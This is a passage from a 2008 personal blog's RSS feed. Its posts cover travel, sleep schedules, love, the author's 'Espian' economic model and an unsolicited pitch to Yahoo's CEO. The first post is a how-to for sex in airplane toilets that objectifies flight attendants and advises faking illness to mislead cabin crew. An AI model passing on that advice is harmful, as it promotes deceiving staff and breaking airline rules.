   src="http://farm4.static.flickr.com/3076/2684581600_acbec922a9.jpg"
   alt="Singapore Airline Girl" /></a><br />
<div class="image-caption">
  by <a href="http://www.flickr.com/photos/wongjunhao/2684581600/">xcode</a>
</div>
</div><p>On the British Airways flight back to London I didn't notice a single attractive
air hostess. A sharp contrast to the last long haul airline I had flown with &mdash;
Sri Lankan Airlines.</p>
<p>Call me old fashioned. Call me shallow. But air hostesses should be pleasing to
the eye. It's amazing how pleasant a little <a class="reference external" href="http://en.wikipedia.org/wiki/Visual_appeal">eye candy</a> can be. Makes those 9 hours fly
by a lot quicker.</p>
<p>As for the in-flight movies &mdash; finding one that won't send you to sleep is a bit
like winning the lottery. Good luck.</p>
<p>Of course sleep isn't too bad as far as entertainment goes. But, hopefully, none
of you need any help with that. This post is instead about the <a class="reference external" href="http://en.wikipedia.org/wiki/Mile_high_club">Mile High Club</a> &mdash; something which isn't as
commonplace as I once imagined.</p>
<p>The Mile High Club is simply about having sex in an airplane. It's a thrill and
a half &mdash; and by far the best entertainment on long haul flights.</p>
<p>When I was young I had presumed that this privilege was limited to flights in
private jets, but with experience I can state that commercial flights are also
good game.</p>
<p>Execution is generally dependent on who happens to be sitting next to you. But
you don't need to leave this to chance. After all, luck is simply the meeting
point between preparation and opportunity.</p>
<p>So how do you increase your chances? How do you ensure that you DON'T have a
<a class="reference external" href="http://www.mingers.com/">minger</a> sitting right next to you? The obvious is to
have your girlfriend/boyfriend travelling with you. Failing that you need to do
a little bit of work during check-in.</p>
<p>Start by identifying someone suitable. Then get yourself next in line to them
and take advantage of the long check-in times to start seducing them. There's
something about airports that makes people very open.</p>
<p>You then want to casually suggest that you both get your seats next to each
other so that you can carry on with the conversation in-flight and pass time
pleasantly. If you are at all engaging, this is very easy. I've had a 100%
success rate in getting new friends to sit next to me on fights.</p>
<p>Once you are both checked-in, you want to make yourself scarce for a little bit
of time. A little separation only adds to the excitement.</p>
<p>Once you are on-board, continue with the conversation. Start discovering each
other. Be patient and gradually increase the seduction by a few notches. Take
advantage of the physical proximity for casual tactile contact and introduce
sexual imagery into your conversation. Be classy.</p>
<p>Talk about the Mile High Club and gradually convince them of the idea. It is
after all, a great experience! For those not skilled in seduction, the key is to
simply be genuine, relaxed and have your breathing in sync with the other
person.</p>
<p>Now comes the tricky part &mdash; assuming the other person is interested and
sexually excited &mdash; timing.</p>
<p>You need to choose a time when both the queues and turbulence are minimal so
that the cabin crew don't come and disturb your time in the only place for
privacy &mdash; the toilet.</p>
<p>Unless you are on a private jet or can wing true privacy, only be sexual inside
a toilet. The thrill of getting caught adds to the excitement, but don't be
<a class="reference external" href="http://www.shortnews.com/start.cfm?id=67632">stupid like this pair</a>!</p>
<p>You and your new friend now need to subtly get into the same toilet together.
Don't worry about the entry too much &mdash; it's the exit that's a problem. And
assuming the chemistry is great and that you are well prepared, you should both
have a great time &mdash; feel the love!</p>
<p>Once the enjoyment has been had though, you now need to get out and face your
fellow passengers who have been waiting in line for a while &mdash; or perhaps even
cabin crew&#8230;</p>
<p>One trick is to get the other person to pretend to be slightly ill. And then you
can &ldquo;help&rdquo; them as you get back to your seats. It immediately suggests to anyone
suspicious that nothing untoward has been happening. Your post-orgasmic bliss
can continue uninterrupted!</p>
<p>Once back in your seats, continue as before &mdash; who knows, you might find the
love of your life this way. Or if not, you'll at least make a few good friends.</p>
<p>I hope this how-to has been useful in some way. Let me know in the comments how
your experiences go. And, please, be respectful to the sensibilities of your
fellow passengers &mdash; there might be children and nuns on board.</p>]]></content:encoded>
  <dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">tav</dc:creator><feedburner:origLink>http://www.asktav.com/mile-high-club-a-howto.html</feedburner:origLink></item><item>
    <title>First Impressions of Dhaka</title>
    <guid isPermaLink="false">http://www.asktav.com/first-impressions-of-dhaka.html</guid>
    <link>http://feedproxy.google.com/~r/asktav/~3/znQUfZsRCSY/first-impressions-of-dhaka.html</link>
    <pubDate>Sun, 13 Jul 2008 22:31:00 GMT</pubDate>
    <description />
	<content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<div class="float-right">
<a href="http://www.flickr.com/photos/olasofia/2687512211/in/set-72157606270139832/"
title="Dhaka in the Rain"><img src="http://farm4.static.flickr.com/3169/2687512211_d87c54d5e9.jpg?v=0" alt="Dhaka in the Rain" /></a><br />
<div class="image-caption">by <a href="http://www.flickr.com/photos/olasofia/2687512211/in/set-72157606270139832/">olasofia</a></div>
</div><p><a class="reference external" href="http://en.wikipedia.org/wiki/Dhaka">Dhaka</a> has a distinctive aroma. I had
expected it to smell like Mumbai or perhaps even Chennai. But it seems that
whilst there's quite an overlap, these South Asian mega-cities have their own
unique identities after all.</p>
<p>Advertisements for mobile phones and phone networks are <em>everywhere</em>. It wasn't
even a decade ago when these advertisements would have been for &ldquo;cool drinks&rdquo;
like Pepsi and Coca-Cola. But times change.</p>
<p>It's raining. Fly a few thousand miles and it's still raining. Perhaps one of us
is like the Rain Man in the 4th HHGTTG book?</p>
<p>The people are smiling. Always a good sign. The traffic slows to a standstill.
Time to soak in the noise. Poverty all around. Billboards for Grameen companies
everywhere. Wonder what this city looked like 50 years ago?</p>]]></content:encoded>
  <dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">tav</dc:creator><feedburner:origLink>http://www.asktav.com/first-impressions-of-dhaka.html</feedburner:origLink></item><item>
    <title>Assume Good Faith</title>
    <guid isPermaLink="false">http://www.asktav.com/assume-good-faith.html</guid>
    <link>http://feedproxy.google.com/~r/asktav/~3/IeesTIwXWvc/assume-good-faith.html</link>
    <pubDate>Wed, 09 Jul 2008 18:20:00 GMT</pubDate>
    <description />
	<content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<img alt="Assume Good Faith Plz" class="float-right" src="http://upload.wikimedia.org/wikipedia/commons/thumb/7/70/Assume_good_faith_lolcat.jpg/500px-Assume_good_faith_lolcat.jpg" style="width: 250px; height: 166px;" />
<p>Earlier this week, I ended up counselling two sets of organisations with regards
to each other. They were trying to work with each other but had various concerns
and felt that they needed to be &ldquo;hard&rdquo; to ensure that they didn't get over-run.</p>
<p>Whilst it is perfectly legitimate to have concerns &mdash; especially when it comes
to financial matters &mdash; most of the concerns would have evaporated had both
sides simply assumed good faith about the other.</p>
<p>And as someone who was privy to the private concerns of both parties, I can
confidently state that they were both acting out of good faith &mdash; they just
didn't have the same opinion about the <em>other</em>.</p>
<p>I generally live my life with the <a class="reference external" href="http://en.wikipedia.org/wiki/Wikipedia:AGF">assumption of good faith</a> with regards the behaviour of
others. And as a result have a lot less to worry about in terms of my
interactions. To be fair, this has not always ended up in ideal results.</p>
<p>But the assumption of good faith forms part of the basis for a rule of ethics &mdash;
which, in my opinion, certainly lends itself towards a better quality of life in
general than a rule of law.</p>
<p>Which do you prefer and why? Do you assume good faith in your interactions? Let
me know in the comments!</p>]]></content:encoded>
  <dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">tav</dc:creator><feedburner:origLink>http://www.asktav.com/assume-good-faith.html</feedburner:origLink></item><item>
    <title>Evolution of Ideas</title>
    <guid isPermaLink="false">http://www.asktav.com/evolution-of-ideas.html</guid>
    <link>http://feedproxy.google.com/~r/asktav/~3/hcHvtCQH7IY/evolution-of-ideas.html</link>
    <pubDate>Tue, 08 Jul 2008 06:23:00 GMT</pubDate>
    <description />
	<content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<img alt="Caricature of Charles Darwin" class="float-right" src="http://upload.wikimedia.org/wikipedia/commons/9/9c/Darwin_ape.jpg" style="width: 200px; height: 253px;" />
<p>Ideas require the right kind of incubation. They need to be nurtured before
being taken into the world &mdash; at the right moment in time.</p>
<p>The nurturing and timing of ideas is one aspect which most innovators and
entrepreneurs seem to miss. And I certainly can't talk about timing &mdash; as the
<a class="reference external" href="http://findarticles.com/p/articles/mi_hb1437/is_200201/ai_n5944664">tyranny of timing</a> is
something that I've had to learn the hard way.</p>
<p>But I've been extremely lucky with respect to the nurturing of ideas. For
reasons still unknown, extra-ordinary individuals seem to be attracted to me.
And their influences have been pure gold.</p>
<p>This is a reflection of something that I've heard referred to as the &ldquo;Florence
Effect&rdquo;. That is, whilst statistically speaking we should have millions of
Einsteins and Da Vincis walking amongst us, the reason many of them haven't
tapped into their full potential is due to a lack of a nurturing, vibrant
community.</p>
<p>In contrast, if you take Florence or Rome during the <a class="reference external" href="http://en.wikipedia.org/wiki/High_Renaissance">High Renaissance</a>, you will see that the likes
of <a class="reference external" href="http://en.wikipedia.org/wiki/Leonardo_da_Vinci">Leonardo da Vinci</a>,
<a class="reference external" href="http://en.wikipedia.org/wiki/Michelangelo">Michelangelo</a>, <a class="reference external" href="http://en.wikipedia.org/wiki/Raphael">Raphael</a>, <a class="reference external" href="http://en.wikipedia.org/wiki/Botticelli">Botticelli</a>, <a class="reference external" href="http://en.wikipedia.org/wiki/Ghirlandaio">Ghirlandaio</a> and <a class="reference external" href="http://en.wikipedia.org/wiki/Perugino">Perugino</a> all hung around the same areas.</p>
<p>Not only would they have influenced, inspired and critiqued each other, but many
of them actively taught some of the others. Their social networks would have
overlapped considerably enough that ideas would have flowed much faster than at
other points in history.</p>
<p>The various localities of Florence and Rome &mdash; with their various patrons &mdash;
acted as a positive <a class="reference external" href="http://en.wikipedia.org/wiki/Media_echo_chamber">echo chamber</a> within which ideas and
inspirations would have flowed and been nurtured. We need such spaces for the
<a class="reference external" href="http://www.culturalcreatives.org/">cultural creatives</a> of our times.</p>
<p>For me, the <a class="reference external" href="irc://irc.freenode.net/esp">#esp IRC channel</a> has been one such
space. And you can see its influence even in the evolution of just two of the
ideas:</p>
<ul class="simple">
<li>Organisational Model &amp; Pecus</li>
<li>Gift Economy</li>
</ul>
<p>For the first employment contract, I wrote (in 1999):</p>
<blockquote>
<p><em>The full employees collectively form the “Ecclésia”, and this group owns
fifty percent of the Company shares. The Ecclésia elects (by the Australian
ballot) on a quarterly basis an executive council of 7 chief officers. This
council will decide on company policies on a day-to-day basis, and will put to
vote before the Ecclésia – matters of serious import. However, any member of
the Ecclésia may voice their opinion on all matters.</em></p>
<p><em>Company work will take place over the Company Extranet. The Ecclésia will
decide on new projects and assign values of their worth, as well as elect the
Project Leader. It is then up to the Project Leader, to define the Jobs needed
to be done for the success of the Project, and their respective values in plex
economic currency units (pecus).</em></p>
</blockquote>
<p>This later evolved to include trust-based algorithms and certifications &mdash; as
can be seen from this <a class="reference external" href="http://web.archive.org/web/20020314184348/http://tav.espians.com/espian_model_chat">chat log about the Espian model</a>
in 2001. And on an unrelated front, I was also <a class="reference external" href="http://web.archive.org/web/20010414190833/lists.espra.net/pipermail/espra-dev/2001-February/000089.html">rambling on the Espra dev list</a>
about gift economies &mdash; also in 2001.</p>
<p>But at that time, these were two separate ideas. But gradual conversations with
others helped identify key problems. And in the iterative refinements I came to
the intuitive realisation that they were somehow two aspects of the same whole.
That there was a simplicity beyond the complexity.</p>
<p>And in my attempt to unify the elements &mdash; through hundreds of conversations &mdash;
early last year, I ended up with:</p>
<div class="center">
  <a href="http://wiki.espians.com/Image:Toman_ecology.png" title="Toman Ecology"><img
     src="http://wiki.espians.com/upload/0/0d/Toman_ecology.png"
     alt="Toman Ecology"
     width="498px"
     height="361px" /></a>
</div><p>But it was only after yet more criticism and dialogue earlier this year that I
finally ended up with the true essence of the model. What I now call the &ldquo;Espian
ecology&rdquo; &mdash; where the initial Pecus I had touched upon and the gift economy are
just two parts of one simple structure.</p>
<p>I'll write an article on it later this month. Until then, what has your
experiences been with regards to the evolution of ideas?</p>]]></content:encoded>
  <dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">tav</dc:creator><feedburner:origLink>http://www.asktav.com/evolution-of-ideas.html</feedburner:origLink></item><item>
    <title>Love Eternal</title>
    <guid isPermaLink="false">http://www.asktav.com/love-eternal.html</guid>
    <link>http://feedproxy.google.com/~r/asktav/~3/UEserisTHiM/love-eternal.html</link>
    <pubDate>Mon, 07 Jul 2008 09:51:00 GMT</pubDate>
    <description />
	<content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<div class="float-right">
<a href="http://www.flickr.com/photos/greencracker/130427828/" title="Love &amp; Life"><img src="http://farm1.static.flickr.com/44/130427828_232286ab78_m.jpg" alt="Love &amp; Life" /></a><br />
<div class="image-caption">by <a href="http://www.flickr.com/photos/greencracker/130427828/">dziner</a></div>
</div><p>A week can sometimes be the difference between heaven and hell. Especially when it
comes to matters of the heart.</p>
<p>This one week in December 2006, one of my lovers went from being &ldquo;madly in love&rdquo;
with me to &ldquo;hating&rdquo; me. It seems that I tend to bring out extremes of emotions
in people.</p>
<p>Most of these emotional extremes can be isolated down to one major trait of
mine. I tried to explain it in a <a class="reference external" href="http://loves-cure.blogspot.com/2007/02/missive-from-heart-to-that-thing.html">post break-up letter</a>
to her:</p>
<blockquote>
<p><em>wrongly assumed that emotional hurt can be glossed over if the spirits are
strong. assumption &mdash; the mother of all tragedies. but that statement needs
some elaboration.</em></p>
<p><em>like the naive fool that i am, i place emphasis upon the spiritual connection
betwixt indivudals. treat the temporal as inconsequential. because
fundamentally, it is. and, as you once said, life shouldn't be taken too
seriously.</em></p>
<p><em>thus most actions are just superficial and should be repairable. naive? yes.
have i learnt otherwise? fuck yeah! go team america! hope this explains the
&ldquo;goldfish memory&rdquo; behaviour that you witnessed.</em></p>
</blockquote>
<p>What's the trait which causes so much harm? My tendency to speak my mind &mdash;
uncensored. Whilst perfectly capable of being diplomatic, I've never seen any
reason to censor my speech to those close to me.</p>
<p>Perhaps this is laziness on my part. I could have avoided most of the arguments
in my life if only I had chosen my words more carefully. But doing so seems to
conflict with my intentions of being genuine. To me, consciously altering one's
words is comparable to manipulation.</p>
<p>This also ties in with two other characteristics of mine:</p>
<ul class="simple">
<li>Loving unconditionally</li>
<li>Living across time</li>
</ul>
<p>I have always tried to love unconditionally. This is reflected in the fact that
I have never been able to fall out of love with those I have loved. Love
eternal. When love is unconditional, surely trivial elements should not matter?</p>
<p>Also, unlike most people, within the confines of my mind, I live across time &mdash;
not limited to the current juncture of the temporal axis. The <em>positive</em>
emotions I experienced in the past are as true today as they were back then:</p>
<div class="center">
  <object width="425" height="344"><param name="movie" value="http://www.youtube.com/v/lmI3b0d5U-w&amp;hl=en&amp;fs=1"></param><param name="allowFullScreen" value="true"></param><embed src="http://www.youtube.com/v/lmI3b0d5U-w&amp;hl=en&amp;fs=1" type="application/x-shockwave-flash" allowfullscreen="true" width="425" height="344"></embed></object>
</div><p>But both of these traits seem to be in contradiction with the experiences of
most others. I have met few people who love unconditionally and fewer still who
treat their past emotions as if they were still true today.</p>
<p>Perhaps this is healthier. Perhaps this is how people manage to engage in new
relationships &mdash; unhindered by past emotions. But in doing so, I can't help but
feel that people are just lying to themselves. And worse, the more one
suppresses certain forms of emotions, the less one feels in the present and the
future.</p>
<p>I have certainly felt elements of that decline in relationships as I have gotten
older. The unbridled love I experienced in my teenage years pale in comparison
to the restrained love I later experienced. All of that derives from fear of
being hurt yet again <em>and</em> the occasional attempts of suppressing past emotions.</p>
<p>But the attitude towards love being eternal has gotten me into a mess more than
once. I remember one weekend when a lover and I were so enthralled with each
other that we were both experiencing orgasmic states before we had even engaged
in any physical acts.</p>
<p>But fast forward to the weekend after that and you will have found her broken
hearted. Why? Because during a discussion, I naively stated that one of my
previous lovers and I were &ldquo;one and the same &mdash; no difference between us&rdquo;.</p>
<p>It had not been my intention to hurt her with that statement. Only in the days
after that did I <em>fully</em> realise just how painful it must have been for her to
hear that. Only later could I see how that statement could have been construed
as being a denial of her. It was never meant to be so.</p>
<p>By living across time, I feel the past as intensely as the present and the
emotions never dull. And especially since my experience of having <a class="reference external" href="about-tav.html#what-has-been-your-most-amazing-experience-so-far">an orgasm
from just dancing</a>, I have
strongly felt connected to all beings in this Universe.</p>
<p>Being truly connected to all beings &mdash; starting with those close to me &mdash; is my
highest aspiration. It is a reflection of the Truth that is this Universe. It
enables, empowers and vitalises.</p>
<p>It reminds me of a <a class="reference external" href="http://www.brainyquote.com/quotes/quotes/m/q107470.html">quote by Martin Luther King Jr.</a></p>
<blockquote>
&ldquo;I believe that unarmed truth and unconditional love will have the final
word.&rdquo;</blockquote>
<p>But, I cannot help but wonder if my approach is somehow fucked up? Is there
something better I can do? Your thoughts and comments would be truly
appreciated. Thanks!</p>]]></content:encoded>
  <dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">tav</dc:creator><media:content url="http://feedproxy.google.com/~r/asktav/~5/tBLvJCmJ_cg/lmI3b0d5U-w&amp;amp;hl=en&amp;amp;fs=1" fileSize="724" type="application/x-shockwave-flash" /><itunes:explicit>no</itunes:explicit><itunes:author>tav</itunes:author><feedburner:origLink>http://www.asktav.com/love-eternal.html</feedburner:origLink><enclosure url="http://feedproxy.google.com/~r/asktav/~5/tBLvJCmJ_cg/lmI3b0d5U-w&amp;amp;hl=en&amp;amp;fs=1" length="724" type="application/x-shockwave-flash" /><feedburner:origEnclosureLink>http://www.youtube.com/v/lmI3b0d5U-w&amp;amp;hl=en&amp;amp;fs=1</feedburner:origEnclosureLink></item><item>
    <title>Variable Sleep Schedule</title>
    <guid isPermaLink="false">http://www.asktav.com/variable-sleep-schedule.html</guid>
    <link>http://feedproxy.google.com/~r/asktav/~3/SxYzu4_rpbg/variable-sleep-schedule.html</link>
    <pubDate>Sun, 06 Jul 2008 20:52:00 GMT</pubDate>
    <description />
	<content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<div class="float-right">
<a href="http://www.flickr.com/photos/asktav/2688721258/" title="Sleep requirements map"><img src="http://farm4.static.flickr.com/3174/2688721258_3ea3894241.jpg" width="411px" height="240px" alt="Sleep requirements map" /></a><br />
<div class="image-caption">by <a href="http://www.flickr.com/photos/asktav/2688721258/">asktav</a></div>
</div><p>My mother emailed me saying:</p>
<blockquote>
&ldquo;We see what we believe, and not just the opposite; and to change what we see,
it is sometimes necessary to change what we believe.&rdquo;</blockquote>
<p>I love my mum. She so wise! What she says seems to be the core message in
personal development processes like <a class="reference external" href="http://www.thework.com/thework.asp">&ldquo;The Work&rdquo;</a> by <a class="reference external" href="http://en.wikipedia.org/wiki/Byron_Katie">Byron Katie</a>.</p>
<p>And it also ties into what I've been pondering lately regarding sleep cycles.
Especially since, whilst growing up, I experienced different sleep cycles with
my mother. When really young, she'd wake me up really early. And then as a kid,
we'd often talk late into the night whilst she worked on some poetry or did some
research.</p>
<p><a class="reference external" href="http://en.wikipedia.org/wiki/Sleep">Sleep</a> is one of those topics which many
of us have rather fixed preconceptions about. We all need it. It plays a vital
role in our well being. It plays a large part in defining our lifestyles. Yet,
despite enjoyable dreams, it takes up so much of our short lives.</p>
<p>Now I've experimented with lots of different sleeping patterns. Everything from
intense sleep deprivation to the <a class="reference external" href="http://www.kuro5hin.org/story/2002/4/15/103358/720">Uberman sleep
schedule</a>. But I have yet
to find the ideal sleep pattern. So I decided to map out my requirements:</p>
<ul class="simple">
<li>An average of 6 hours of sleep a day.</li>
<li>Awake at dawn &mdash; the most magical time of the day.</li>
<li>Time for regular &ldquo;meta&rdquo; activities which are vital for a balanced life.</li>
<li>At least 10 hours &ldquo;quiet&rdquo; time every other day for highly productive work &mdash;
for me this is often at night time hours when distractions are minimal.</li>
<li>Awake and alert for at least 10 hours of professional interactions with others
every other day, e.g. negotiations, meetings, &amp;c.</li>
<li>Awake across &ldquo;normal&rdquo; work times in various time zones &mdash; especially Europe,
Americas and Asia.</li>
<li>Time to have an active social life &mdash; with lots of music and dancing.</li>
<li>Time to cuddle up with a lover &mdash; who probably also leads a busy life &mdash; after
sex.</li>
</ul>
<p>Some of these requirements are probably familiar to those who've read my earlier
post <a class="reference external" href="on-daily-routines.html">on daily routines</a>. The last point reminds me of
one of the funniest videos I've seen in recent years:</p>
<div class="center">
<object width="425" height="344"><param name="movie"
value="http://www.youtube.com/v/WGOohBytKTU&amp;hl=en&amp;fs=1"></param><param
name="allowFullScreen" value="true"></param><embed
src="http://www.youtube.com/v/WGOohBytKTU&amp;hl=en&amp;fs=1"
type="application/x-shockwave-flash" allowfullscreen="true" width="425"
height="344"></embed></object>
</div><p>Taking all of the requirements into account, I eventually ended up with the
following ruleset. I call this the &ldquo;Variable Sleep Schedule&rdquo;:</p>
<ul class="simple">
<li>Three sleep time slots are defined:<ul>
<li>2pm - 8pm (slot 1)</li>
<li>8pm - 2am (slot 2)</li>
<li>2am - 8am (slot 3)</li>
</ul>
</li>
<li>Within the period of two days, two of those sleep slots must be filled. No
more. No less.</li>
<li>Under ideal circumstances, sleep will be enjoyed during slot 1.</li>
</ul>
<img alt="Tav's Online Activity 2000-2008" class="float-right" src="http://release.plexnet.org/gfx/tav.blog/online-irc-hourly-activity.png" />
<p>Not only does the above ruleset provide a useful and flexible structure. But as
can be seen from the diagram representing my online activity hours over the last
8 years, it isn't <em>too</em> far off my existing &ldquo;natural&rdquo; pattern.</p>
<p>All times are in UK time &mdash; whether with daylight savings or otherwise. In fact,
the time slots are specifically for the UK so that the timezone deviations with
other regions fits in nicely. By sleeping during slot 1, I can be awake for:</p>
<ul class="simple">
<li>Morning, lunch and late night interactions in the UK and Europe.</li>
<li>Afternoon and evening interactions in the Americas.</li>
<li>Morning, afternoon and evening interactions in Asia.</li>
</ul>
<p>I can take advantage of the time immediately after waking up &mdash; when the brain
is highly active &mdash; to do some quality productive work. Avoid the hassles of
rush hour. And have meetings from 6 o'clock in the morning =)</p>
<p>And if for any unavoidable reasons, e.g. important afternoon meetings or social
engagements, I have to skip sleep on any given day, I can catch up on the sleep
debt by sleeping for 2 slots the next day.</p>
<p>In short, I am very excited by this sleep schedule! Question is, what will my
lovers make of this? ;p</p>]]></content:encoded>
  <dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">tav</dc:creator><media:content url="http://feedproxy.google.com/~r/asktav/~5/pEmO896Kphc/WGOohBytKTU&amp;amp;hl=en&amp;amp;fs=1" fileSize="2655" type="application/x-shockwave-flash" /><itunes:explicit>no</itunes:explicit><itunes:author>tav</itunes:author><feedburner:origLink>http://www.asktav.com/variable-sleep-schedule.html</feedburner:origLink><enclosure url="http://feedproxy.google.com/~r/asktav/~5/pEmO896Kphc/WGOohBytKTU&amp;amp;hl=en&amp;amp;fs=1" length="2655" type="application/x-shockwave-flash" /><feedburner:origEnclosureLink>http://www.youtube.com/v/WGOohBytKTU&amp;amp;hl=en&amp;amp;fs=1</feedburner:origEnclosureLink></item><item>
    <title>Contacting Jerry Yang</title>
    <guid isPermaLink="false">http://www.asktav.com/contacting-jerry-yang.html</guid>
    <link>http://feedproxy.google.com/~r/asktav/~3/0GSNnPKvehE/contacting-jerry-yang.html</link>
    <pubDate>Sat, 05 Jul 2008 14:12:00 GMT</pubDate>
    <description />
	<content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<img alt="Jerry Yang" class="float-right" src="http://upload.wikimedia.org/wikipedia/commons/thumb/4/49/Jerry_Yang.jpg/225px-Jerry_Yang.jpg" style="width: 225px; height: 273px;" />
<p>A fortnight ago, I emailed Jerry Yang, the co-founder and CEO of Yahoo!. It was
yet another unsolicited <a class="reference external" href="http://www.readwriteweb.com/archives/yahoo_turnaround_strategy.php">Yahoo! Turnaround Strategy</a> proposal.
My little offer to help turn Yahoo! around.</p>
<p>Given that Jerry doesn't know me from Adam I wasn't expecting an immediate
reply. But it's now been 2 weeks and still no reply. If anyone knows Jerry Yang
and finds my proposal useful, I'd appreciate it if you could prod him to get
back to me.</p>
<p>You can find the email I sent below. Apologies for the message being in
lower-case &mdash; Jerry is famous for writing in that way. And given that for a long
time I also had a fascination for the <a class="reference external" href="http://en.wikipedia.org/wiki/Lower_case">miniscule</a>, I found it rather natural to write
to him in that manner.</p>
<p>The email also serves as an introduction to some of the Espian ideas. Would love
to hear your comments on those aspects too. Thanks!</p>
<table class="docutils field-list" frame="void" rules="none">
<col class="field-name" />
<col class="field-body" />
<tbody valign="top">
<tr class="field"><th class="field-name">From:</th><td class="field-body"><p class="first">tav &lt;<a class="reference external" href="mailto:tav&#64;espians.com">tav&#64;espians.com</a>&gt;</p>
</td>
</tr>
<tr class="field"><th class="field-name">Date:</th><td class="field-body"><p class="first">Mon, Jun 23, 2008 at 7:28 AM</p>
</td>
</tr>
<tr class="field"><th class="field-name">Subject:</th><td class="field-body"><p class="first">i'd like to help you turn yahoo around</p>
</td>
</tr>
<tr class="field"><th class="field-name">To:</th><td class="field-body"><p class="first"><a class="reference external" href="mailto:jerry&#64;yahoo-inc.com">jerry&#64;yahoo-inc.com</a></p>
</td>
</tr>
<tr class="field"><th class="field-name">Cc:</th><td class="field-body"><p class="first"><a class="reference external" href="mailto:esp&#64;googlegroups.com">esp&#64;googlegroups.com</a></p>
</td>
</tr>
<tr class="field"><th class="field-name">Body:</th><td class="field-body"><p class="first">·</p>
<p>dearest jerry,</p>
<p>congratulations on having beaten off the microsoft takeover and, as a
fellow entrepreneur, my deepest emphaties for the unnecessary shit now
being thrown your way. the way of the entrepreneur is little
understood and it's easy for people who have never been in similar
situations to criticize. i just hope that you have people around you
to provide the emotional support that's critical at junctures like
this.</p>
<p>it would be very easy for you to walk away from all of this. but if
you are intent on working through, then i would be truly happy to be
of service.</p>
<p>you might be wondering what a random 26 year old in london has to
offer, but hear me out =)</p>
<p>and if you like what i am saying, then fly me over to sunnydale!</p>
<p>of the many things that need to be tackled, i'd like to focus on 2
aspects in this email:</p>
<ul class="simple">
<li>business model</li>
<li>external brand and internal morale</li>
</ul>
<p>yahoo! was the undisputed king of web 1.0. not only was yahoo the
first search engine i ever used, but all the other services that i and
others used &mdash; rocketmail, geocities, egroups &mdash; all became yahoo!
properties. it consolidated its position effectively.</p>
<p>but despite making some really wise acquisitions &mdash; flickr, delicious,
upcoming, &amp;c. &mdash; yahoo! passed up on being the web 2.0 player that it
could have been. it's too late to do anything about that now.</p>
<p>innovation happens in curves &mdash;
<a class="reference external" href="http://blog.guykawasaki.com/2006/01/the_art_of_inno.html">http://blog.guykawasaki.com/2006/01/the_art_of_inno.html</a></p>
<p>&ldquo;Too many companies duke it out on the same curve. If they were daisy
wheel printer companies, they think innovation means adding Helvetica
in 24 points. Instead, they should invent laser printing. True
innovation happens when a company jumps to the next curve&mdash;or better
still, invents the next curve, so set your goals high.&rdquo;</p>
<p>and this is the opportunity that i believe you now have. time to jump
to web 4.0 &mdash; a web 4 the people by the people.</p>
<p>because none of the approaches being taken by your competitors are
tackling the real problems that we all face:</p>
<ul class="simple">
<li>everything being dependent on advertising revenue</li>
<li>information/communication overload</li>
<li>intellectual property and surviving in an &ldquo;economy of free&rdquo;</li>
<li>the depleted social and environmental fabric</li>
<li>the lack of identity/meaning in most people's lives</li>
</ul>
<p>you've reaped the benefits by being a pioneer with yahoo! it's time to
be a pioneer again and let the others play catch up!</p>
<p>your major competitors are now focused on being the ultimate
middle-men. but if you can jump ahead and totally disrupt the market
&mdash; much like paid search has done to tv advertising &mdash; then not only
do you strengthen your position and revenues, but also take away from
the others.</p>
<p>how can this be done? well, with a series of simple developments.</p>
<p>the first, i call &ldquo;trust maps&rdquo;. this is an extension of the concept of
&ldquo;friends&rdquo; introduced by the various social networking sites. but
instead of being just fun, it can be used as a basis for a whole new
economic model. and you already have the largest social network on the
world to bootstrap this &mdash; yahoo! mail/messenger.</p>
<p>how does it work? well, a user simply states who they trust and in
what context, e.g. i trust &ldquo;Indy, Katy and Alice&rdquo; in the context of
&ldquo;architecture&rdquo;. this trust map can then be used as a filter for
information flow. taking what already happens in real life &mdash; but
making it more automated.</p>
<p>a way of enabling people to overcome information overload.</p>
<p>and yahoo! has one of the best properties on the internet to make this
happen: del.icio.us.</p>
<p>delicious has already come very close to implementing this. you can
setup what is called a &ldquo;network&rdquo; and subscribe to links under certain
tags, e.g. i can subscribe to alice/architecture. unfortunately,
delicious never added a transitive element to this. that is, if Alice
also subscribed to Xiao, then i never receive Xiao's links.</p>
<p>some of yahoo!'s researchers have also written a paper on something
called &ldquo;TrustRank&rdquo;. this can be used to evaluate the entire network
from the perspective of the various individuals relatively well.</p>
<p>so instead of sites like google, where users are limited to the same
global perspective, yahoo! could start offering search results in a
way that reflects their personal tastes and perspectives.</p>
<p>now, with this new form of search &mdash; which in many ways, takes us back
to yahoo's original roots &mdash; you can in one stroke help people
overcome information overload, take back market share in search <em>and</em>
make social networking actually useful. but it does not stop there =)</p>
<p>as a next step, you can completely destroy the paid search market.
microsoft is currently accidentally stumbling towards this with their
live search cashback scheme.</p>
<p>this is what i call plexchange.</p>
<p>to faciliate this, transactions simply take place in specific
contexts. for example, let's say that i go and buy the book &ldquo;Timeless
Way of Building&rdquo; from a supplier for $30. given that this is in the
context of architecture, a certain commission set by the supplier (say
10%) is split between the various individuals in my trust map. that
is, Indy, Katy and Alice would get $1 each (the $3 commission split
between each of them equally).</p>
<p>unlike the current setup, this creates a win-win-win proposition. the
supplier can increase/decrease their commission appropriately to
compensate for how good/established their offering already is. they
don't need to waste money on intermediary search advertising. the
various individuals in my trust map get compensated for keeping me
informed. and if they start spamming me, i simply take them out of my
trust map and thus they are incentivized to provide value. and myself,
i benefit from being well informed and being able to have a higher
quality of life.</p>
<p>and in terms of gaining adoption for this, this gives a true business
model for all the millions of bloggers (early adopters) out there.
it's good to have them on your side. and by giving them a working
model &mdash; taking them away from being dependent on adsense dollars &mdash;
you gain their trust and support.</p>
<p>i don't know if you still have the stake in alibaba &mdash; but it'd tie in
quite nicely with that investment too. not to mention revitalizing
subsidiaries like kelkoo.</p>
<p>next up, you can create a working economy for all the cultural
creatives out there &mdash; starting with musicians. the music industry is
currently in turmoil. and their attempt to regulate the market of
